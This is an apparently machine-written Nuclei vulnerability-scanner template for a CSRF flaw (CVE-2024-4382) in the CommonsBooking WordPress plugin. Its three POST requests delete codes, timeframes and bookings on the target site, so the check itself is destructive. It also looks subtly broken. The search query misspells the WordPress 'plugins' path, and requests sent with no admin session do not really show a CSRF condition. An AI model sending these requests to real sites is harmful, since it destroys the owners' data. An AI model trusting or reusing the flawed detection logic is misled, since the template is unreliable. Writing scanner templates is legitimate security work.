CVE-2024-4382.yaml

id: CVE-2024-4382

info:
  name: CSRF Vulnerability in CB WordPress Plugin
  author: ProjectDiscoveryAI
  severity: medium
  description: The CB (legacy) WordPress plugin through 0.9.4.18 does not have CSRF checks in some bulk actions, which could allow attackers to make logged in admins perform unwanted actions, such as deleting codes, timeframes, and bookings.
  impact: |
    Allows attackers to perform unauthorized actions on behalf of authenticated users
  remediation: |
    Update CB WordPress Plugin to the latest version to mitigate CVE-2024-4382
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
    cvss-score: 6.5
    cve-id: CVE-2024-4382
    cwe-id: CWE-352
    epss-score: 0.00048
    epss-percentile: 0.19387
    cpe: cpe:2.3:a:wielebenwir:commonsbooking:*:*:*:*:*:wordpress:*:*
  metadata:
    vendor: wielebenwir
    product: commonsbooking
    framework: wordpress
    google-query: inurl:/wp-content/plugin/commonsbooking/

http:
  - method: POST
    path:
      - "{{BaseURL}}/wp-admin/admin.php?page=cb_codes"

    body: "_wp_http_referer=%2Fwp-admin%2Fadmin.php%3Fpage%3Dcb_codes&action=delete&filterby-Items=&paged=1&id%5B%5D=1&action2=delete"

    headers:
      Content-Type: "application/x-www-form-urlencoded"
    matchers:
      - type: word
        words:
          - "Item deleted successfully"
        part: body

  - method: POST
    path:
      - "{{BaseURL}}/wp-admin/admin.php?page=cb_timeframes"

    body: "_wp_http_referer=%2Fwp-admin%2Fadmin.php%3Fpage%3Dcb_timeframes&action=delete&filterby-Items=&paged=1&id%5B0%5D=1&action2=delete"

    headers:
      Content-Type: "application/x-www-form-urlencoded"
    matchers:
      - type: word
        words:
          - "Timeframe removed"
        part: body

  - method: POST
    path:
      - "{{BaseURL}}/wp-admin/admin.php?page=cb_bookings"

    body: "_wp_http_referer=%2Fwp-admin%2Fadmin.php%3Fpage%3Dcb_bookings&action=delete&filterby-Items=&paged=1&id%5B0%5D=1&action2=delete"

    headers:
      Content-Type: "application/x-www-form-urlencoded"
    matchers:
      - type: word
        words:
          - "Booking deleted"
        part: body